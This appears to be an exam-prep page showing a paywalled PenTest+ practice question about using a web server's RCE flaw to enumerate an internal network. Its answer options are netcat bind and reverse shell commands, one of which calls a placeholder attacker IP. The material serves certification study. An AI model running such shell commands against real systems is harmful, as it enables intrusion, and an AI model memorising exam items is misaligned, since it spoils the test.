PT0-003 · Question #217
A penetration tester finds an unauthenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that allows onl
Sign in or unlock PT0-003 to reveal the answer and full explanation for question #217. The question stem and answer options stay visible for context.
Question
A penetration tester finds an unauthenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that allows only an incoming connection to TCP ports 443 and 53 and unrestricted outbound TCP connections. The target web server is https://target.comptia.org. Which of the following should the tester use to perform the task with the fewest web requests?
Options
- Anc -e /bin/sh -lp 53
- B/bin/sh -c 'nc -l -p 443'
- Cnc -e /bin/sh <pentester_ip> 53
- D/bin/sh -c 'nc <pentester_ip> 443'
Unlock PT0-003 to see the answer
You've previewed enough free PT0-003 questions. Unlock PT0-003 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.